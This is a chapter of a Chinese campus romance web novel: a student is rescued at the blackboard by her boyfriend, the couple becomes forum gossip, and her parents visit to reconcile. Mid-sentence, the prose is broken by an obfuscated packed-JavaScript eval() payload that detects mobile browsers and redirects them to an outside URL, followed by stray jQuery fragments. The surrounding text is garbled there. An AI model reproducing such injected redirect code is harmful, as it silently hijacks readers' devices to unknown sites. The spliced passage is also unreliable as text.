父亲不仅要来，还已经定下了跨年夜，自己一家人和陈树宇一家人吃饭，一个多月没有联系，安排吃饭却根本没有询问何芷的意见。


    突如其来的消息让何芷心里莫名感到十分不安，她只得取消泰餐计划，说今晚想一个人回寝室复习期末考试。


    期末期间室友们都在图书馆，宿舍里一个人也没有，何芷在书桌前，死盯着一道题，却怎么也看不进去，似乎总是有什么模糊的东西拽着她的心，让人无法专注。


    其实她的紧张是毫无根据的，仿佛只是一个应激反应，下意识地紧绷和无措，但她没办法做预案，她并不确定父母对自己当下的态度，更不确定他们对裴叙之的态度，自己直到今天也没有谈恋爱的实感，大概就是因为自己也不确定这段感情能走多久。


    另一边宿舍里，空气里充斥着几个男生打游戏此起彼伏的喊叫、指挥和不可控的吐槽声，裴叙之把寝室门关上，一个人站在露台里，风已经把脸吹得有些僵硬，手机被他握在手里，却迟迟不拨打页面上的电话号码。


    他脸色无异常，心里却仿佛有无数根刺，在寂静的空间无声地叫嚣着，连带着心脏里的血肉又痛了一遍，止又止不住，拔也拔不出来。


    又过了半晌，已经时至凌晨，裴叙之终于拨出电话，电话刚拨出，拨号音只响了一下，对面就立马接通。


    “喂，是我。”裴叙之的声音在夜里显得格外冷淡。


    “最近还行吗？”


    “嗯，我挺好的，我打电话来是有件事想请你帮个忙。”


    “不需要做更多，这就够了，谢谢。”


    于是果断挂断电话，寂静的夜里只留下一声结束通话时那声冰冷的“嘟——”，总通话时长不过两分三十八秒。


    裴叙之表情没什么变化，只是眼睛淡淡的，盯着遥远的黑幕下闪着若隐若现的光，握着手机的手指紧了紧。


    -


    第二天是何芷本学期最后一节数学课，通常老师会总结一下考点难点，她上周刚因为比赛请了一节课假，这节课再不去就说不过去了。


    然而由于昨晚睡太晚，今天根本爬不起来，早上闹钟一响，自己下意识就关了，等再一睁眼时，离上课只差十五分钟了！


    何芷跟触发弹簧机关似的从床上弹起来，连忙发消息请任依依给自己占位置，然后跳下床、洗脸刷牙、随手捞了件白色羽绒服套身上，素面朝天地就去上课了。尽管一路狂奔，早餐也没吃，到教室时还是迟到了。


    这节课的教授姓高，以前是数学系做研究的，现在年纪大了就给其他学系上一下数学同时课，但他教学认真、严苛，没人敢旷课。


    因此当何芷出现在门口时，全教室肃穆、安静，一百多双眼睛顿时集中于她——一个明显刚从床上爬起来的潦草大学生，但这里没有人不认识她。


    高教授正在黑板写例题，偏头看见何芷，立马停下来扶了下眼镜，冷笑着说：“哟，这不是我们学校的名人吗？”


    何芷尴尬得想找个地缝钻进去：“对不起老师，我起晚了。”


    “迟到的人十个九个都这么说。你叫何芷是吧，我记得你期中考的时候把压轴题做对了，但前面基础题犯了一堆低级错误，总分只拿了90，比我们数学系的最低分还差1分。刚好，你上来把这道题做了吧，做对了，我就不扣你平时分。”


    谁能跟华大数学系的人比啊，这么说算是明贬暗褒了。被讽刺一顿的何芷反而松一口气，世界上能靠做题解决的事都不是大事儿，这反而说明老师没生气。


    何芷立马把书包放下，屁颠屁颠就上去了，自信地拿起粉笔看题，看着看着人就傻了，一个字也没法落笔。


    这……是上节课教的内容吧，自己上节课请假了且还没复习到这儿呀！这个题型他在裴叙之的竞赛卷子上见过……但也只限于见过。


    数学就是这样，没学就是一点也不会，这也没法瞎编一通，没过两秒，何芷就绝望地闭上了眼，可怜兮兮地向台下的任依依投去一个无助的眼神。


    任依依可不敢接，她也不会呀！虽然她上节课来了，但这题明显也不是普通难度的题。


    高教授在一旁得意地笑：“怎么？不会做？这不过是一道普通竞赛题，我以为你能无师自通呢！”说完就看向台下，“再给她一个机会吧，台下有同学能帮她解开这道题吗？不然她就要被扣分了。”


    台下几乎可以说是顷刻间，所有人都低下了头颅，生怕和教授对上眼神就被拎上去了。


    沉默里，教室后座有人起身，离开座位一步步走下阶梯，无视过道两边充满震惊的表情，裴叙之走到老师身边。


    “我替她做。”说完就拿起粉笔径直走到何芷身边，唰唰地利落些下解题过程，中途还能和旁边人聊两句。


    何芷震惊得不行，贴着黑板悄悄说：“你怎么在这儿？”


    “路过。“


    “。。我信你个鬼！”


    “那你还问。”


    看着这人游刃有余的样子，何芷咬牙切齿：“你这样上来大家不会觉得奇怪吗？多尴尬呀？”


    “要不尴尬还是要分数。”


    “……要分数。”


    裴叙之勾起嘴角笑了一下，“那就乖乖学着。”


    没两分钟，裴叙之跟提前背过答案似的，三下五除二就写完了，转向老师说：“高教授，您看对吗？”


    高教授老教师了，以前也是教过裴叙之的，如今看着两个年轻人心里门清。


    但还是不由得惊讶，裴叙之这小子整天一副冷淡样，什么时候这么主动了？不过转念一想，也是，什么锅配什么盖，他这种聪明又裹着疏离的就得配何芷这种脸皮厚的。


    “行了，你俩给我下去吧。我说的是这个班的同学能帮她做对就免扣分，你这个其他班的做对了也不算。”


    何芷、裴叙之：……


    一个小时后，两人在食堂里吃饭，身边总是投来各种好奇的八卦的目光，让人想忽视都不行。何芷腮帮子鼓鼓的，愤恨地盯着某人，一把把手机页面甩给面前的人。


    “你自己看！论坛里都在讨论！都怪你！”


    裴叙之略微挑起眉稍，拿起手机看到论坛上有很多他俩并排在讲台上和座位上的照片，他接着往下划，看到也有不少其他同学爆料经常在图书馆角落里看到他俩。


    裴叙之忍不住勾起嘴角得意一笑，即使一瞬即逝也被对面的人捕捉到，何芷眯上眼释放出危险的信号：“什么意思，你就是故意的是吧？”


    “什么故意的？”


    “别装，你就是想让别人看到我们俩在一起，然后就能引来越来越多的人爆料！”


    眼见被拆穿，裴叙之只是眼睛耷拉着，瘪着嘴说：“我只是想让大家讨论我的时候，能把我和正确的名字放在一起，每次看到一些莫名的谣言，我也很委屈的，这也不行吗？”


    是啊，明明有对象还老被造谣和其他人有关系，他也是受害者，何芷想着想着就心软了。两个人正吃着饭，注意到旁边桌子的女生叽叽喳喳，眼睛不断往这边看，过了一会终于忍不住了，走过来一个女生。


    女生小心翼翼地跟他们打招呼，“你们好，我特别喜欢你们，可以和你们合照吗？”


    何芷立马点点头，“当然可以，那你先和他照吧，我给你们怕。”


    谁料女生立马猛烈摇头：“不不不，我想和你们俩一起照！我朋友帮我拍就好。“说着还把他俩推到一块儿去，自己乖乖站到何芷旁边。


    何芷和裴叙之好像还真的没有拍过合照，莫名有点不自然，手不知道往哪儿放。但身边的人仿佛习以为常了，左手随意放裤兜里，右手直接抬起来搂住她的肩膀，还往自己身边用力搂了搂！


    何芷笑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16617082|181636||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得略显僵硬，但成片还是好看的，毕竟底子在那儿，女生把照片传给裴叙之，就笑嘻嘻地走了。


    何芷看着他冷静吃饭的样子有点不爽地啧了一声。裴叙之抬头问：“怎么了？”


    何芷瘪着嘴看向两边，不太情愿地说：“把照片传我呀！”


    “哦。”裴叙之打开手机传，还是没忍住笑。


    -


    过后一周，何芷埋头苦笑，终于在十二月中旬完成数学期末考试，出考场的一刻，想着自己答完了所有题，长松一口气，这下就算平时分不够也不影响最终成绩了吧。


    昨天说好和室友去尝尝食堂新开的一家麻辣香锅，何芷抬头就见到一个意想不到的人。


    自己的妈妈就站在她们教学楼前，她怎么知道自己在这里考试，大概是跟辅导员打过电话了。


    何芷知道会有这一天，她稳了稳心神，转头跟室友说明情况，她们就自己先离开了。何芷一个人走向一个多月没联系的妈妈，看得出对方眼睛都有些红，满脸的激动和担忧。


    何芷刚走近，母亲温露霞女士率先开口，一向优雅的人此刻也有些动容：“小芷，妈妈来看看你，最近还好吗？”


    何芷抬手握了握妈妈的手，手指有些冰，可能在这里站的有点久了：“我挺好的妈妈，这外面冷，我带你去教室里坐着吧。”


    温露霞立马摇摇头，说：“不用，你爸爸休假一起来了，他定了家餐馆，走！咱们一家人去吃饭。”


    何芷就这样跟着温露霞来到学校附近的一家家常菜馆，她和同学聚餐倒是经常来这儿。餐厅中午的人不多，服务员还是领着她们走进包厢，一开门，就看到了两个多月前令自己痛苦到夺门而出的面孔。


    三个人在一个空间里没人说话，何霆旭只得率先开口，声音还是不容忍质疑的威严，但语气轻多了：“来了就坐下吃饭。”


    何芷没说什么，直接坐下开吃了，一眼扫过去，都是自己在家里最爱吃的菜。


    温露霞一直在给何芷夹菜，嘴里的关心没停：“小芷，最近吃的怎么样，身体好吗，我怎么看着你瘦了些。是生活费不够吗？”


    何芷淡淡地说：“我有钱的，只是前段时间比赛加上这周在备考就瘦了一点。”


    “你本来就低血糖，备考也不能不好好吃饭呀？我记得你高考之前还胖了些了呢！”


    “没事，我前段时间比赛耽误了一点课程最近集中复习才累一点，平时都不会这样。”


    在一旁一直没说话的男人忽然发话了，声音像砖头一样厚：“平时不好好用功，临时抱佛脚有什么用？还把身体弄得糟糕骗自己很努力，这是最愚蠢的做法。”


    气氛刚好了几分钟，一句话又落入冰点，何芷眼神冷下来，还没来得及说话，温露霞直接一筷子拍向何霆旭：“你今天来之前答应我什么了？好话不会好好说吗？不会说话就闭嘴！”


    何霆旭沉默下来，何芷也懒得计较。温露霞又开口：“你爸爸这次好不容易有了休假，我们就马不停蹄地来看看你，你的每场比赛我和你爸爸都看了，表现得很棒宝贝！我们为你骄傲，你爸爸还把你比赛的视频转到朋友圈了呢！”


    何芷有些意外地抬眼看了眼对面的脸色不自然的男人，他不是万年不发朋友圈的吗？


    温露霞叹了口气，伸手牵着何芷的手说：“我们知道国庆那次是我们误会你了，你受委屈了，妈妈给你道歉。”


    说完狠狠戳了一下何霆旭，对面脸色很不好看，但还是开口硬生生从嗓子里挤出了几个字，“嗯，我话说重了。”


    “妈妈是觉得，咱们一家人又吵又闹也正常，但是我们始终是有感情的一家人！爸爸妈妈是打心底里爱你的，这些日子我们没有联系你，就是在反思，我们意识到你有自己的成长方式，是我们管教太多了，也不够尊重你，我们会调整自己的方式的。”